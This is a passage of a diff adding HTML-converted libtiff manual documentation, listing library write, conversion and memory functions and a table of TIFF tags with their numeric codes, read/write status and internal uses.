+<p><big>TIFFWriteDirectory</big></p>
+</td>
+<td width="67%">
+
+<p><big>write the current directory</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFWriteEncodedStrip</big></p>
+</td>
+<td width="67%">
+
+<p><big>compress and write a strip of data</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFWriteEncodedTile</big></p>
+</td>
+<td width="67%">
+
+<p><big>compress and write a tile of data</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFWriteRawStrip</big></p>
+</td>
+<td width="67%">
+
+<p><big>write a raw strip of data</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFWriteRawTile</big></p>
+</td>
+<td width="67%">
+
+<p><big>write a raw tile of data</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFWriteScanline</big></p>
+</td>
+<td width="67%">
+
+<p><big>write a scanline of data</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFWriteTile</big></p>
+</td>
+<td width="67%">
+
+<p><big>compress and write a tile of data</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFXYZToRGB</big></p>
+</td>
+<td width="67%">
+
+<p><big>perform CIE XYZ to RGB conversion</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFYCbCrToRGBInit</big></p>
+</td>
+<td width="67%">
+
+<p><big>initialize YCbCr to RGB conversion state</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>TIFFYCbCrtoRGB</big></p>
+</td>
+<td width="67%">
+
+<p><big>perform YCbCr to RGB conversion</big></p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big>Auxiliary functions:</big></p></td>
+</table>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="3" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>_TIFFfree</big></p>
+</td>
+<td width="67%">
+
+<p><big>free memory buffer</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>_TIFFmalloc</big></p>
+</td>
+<td width="67%">
+
+<p><big>dynamically allocate memory buffer</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>_TIFFmemcmp</big></p>
+</td>
+<td width="67%">
+
+<p><big>compare contents of the memory buffers</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>_TIFFmemcpy</big></p>
+</td>
+<td width="67%">
+
+<p><big>copy contents of the one buffer to
+another</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>_TIFFmemset</big></p>
+</td>
+<td width="67%">
+
+<p><big>fill memory buffer with a constant byte</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="23%">
+
+<p><big>_TIFFrealloc</big></p>
+</td>
+<td width="67%">
+
+<p><big>dynamically reallocate memory buffer</big></p>
+</td>
+</table>
+<a name="TAG USAGE"></a>
+<h2>TAG USAGE</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big>The table below lists the</big> TIFF <big>tags that
+are recognized and handled by the library. If no use is
+indicated in the table, then the library reads and writes
+the tag, but does not use it internally. Note that some tags
+are meaningful only when a particular compression scheme is
+being used; e.g. <i>Group3Options</i> is only useful if
+<i>Compression</i> is set to</big> CCITT <big>Group 3
+encoding. Tags of this sort are considered
+<i>codec-specific</i> tags and the library does not
+recognize them except when the <i>Compression</i> tag has
+been previously set to the relevant compression
+scheme.</big></p>
+<!-- INDENTATION -->
+<pre><big><i>Tag Name                Value  R/W  Library Use/Notes
+</i></big></pre>
+</td>
+</table>
+<!-- TABS -->
+
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>Artist</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>315</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>BadFaxLines</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>326</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>BitsPerSample</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>258</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>lots</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>CellLength</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>265</big></p>
+</td>
+<td width="53%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>parsed but ignored</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>CellWidth</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>264</big></p>
+</td>
+<td width="53%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>parsed but ignored</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>CleanFaxData</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>327</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>ColorMap</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>320</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>ColorResponseUnit</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>300</big></p>
+</td>
+<td width="53%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>parsed but ignored</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>Compression</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>259</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>choosing codec</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>ConsecutiveBadFaxLines</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>328</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big>Copyright 33432 R/W</big></p></td>
+</table>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>DataType</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>32996</big></p>
+</td>
+<td width="53%">
+
+<p><big>R</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>obsoleted by SampleFormat tag</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>DateTime</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>306</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>DocumentName</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>269</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>DotRange</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>336</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>ExtraSamples</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>338</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>lots</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>FaxRecvParams</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>34908</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>FaxSubAddress</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>34909</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>FaxRecvTime</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>34910</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>FillOrder</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>266</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>control bit order</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>FreeByteCounts</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>289</big></p>
+</td>
+<td width="53%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>parsed but ignored</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>FreeOffsets</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>288</big></p>
+</td>
+<td width="53%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>parsed but ignored</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>GrayResponseCurve</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>291</big></p>
+</td>
+<td width="53%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>parsed but ignored</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>GrayResponseUnit</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>290</big></p>
+</td>
+<td width="53%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>parsed but ignored</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>Group3Options</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>292</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>used by Group 3 codec</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>Group4Options</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>293</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>HostComputer</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>316</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>ImageDepth</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>32997</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>tile/strip calculations</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>ImageDescription</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>270</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>ImageLength</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>257</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>lots</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>ImageWidth</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>256</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>lots</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>InkNames</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>333</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>InkSet</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>332</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>JPEGTables</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>347</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>used by JPEG codec</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>Make</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>271</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>Matteing</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>32995</big></p>
+</td>
+<td width="53%">
+
+<p><big>R</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>obsoleted by ExtraSamples tag</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>MaxSampleValue</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>281</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>MinSampleValue</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>280</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>Model</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>272</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>NewSubFileType</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>254</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>called SubFileType in spec</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>NumberOfInks</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>334</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>Orientation</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>274</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>PageName</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>285</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>PageNumber</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>297</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>PhotometricInterpretation</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>262</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>R/Wused by Group 3 and JPEG codecs</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>PlanarConfiguration</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>284</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>data i/o</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>Predictor</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>317</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>used by LZW and Deflate codecs</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>PrimaryChromacities</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>319</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>ReferenceBlackWhite</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>532</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>ResolutionUnit</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>296</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>used by Group 3 codec</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>RowsPerStrip</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>278</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>data i/o</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>SampleFormat</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>339</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>SamplesPerPixel</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>277</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>lots</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>SMinSampleValue</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>340</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>SMaxSampleValue</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>341</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>Software</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>305</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>StoNits</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>37439</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>StripByteCounts</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>279</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>data i/o</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>StripOffsets</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>273</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>data i/o</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>SubFileType</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>255</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>called OSubFileType in spec</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>TargetPrinter</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>337</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>Thresholding</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>263</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>TileByteCounts</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>324</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>data i/o</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>TileDepth</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>32998</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>tile/strip calculations</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>TileLength</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>323</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>data i/o</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>TileOffsets</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>324</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>data i/o</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>TileWidth</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>322</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>data i/o</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>TransferFunction</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>301</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>WhitePoint</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>318</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>XPosition</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>286</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>XResolution</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>282</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>YCbCrCoefficients</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>529</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
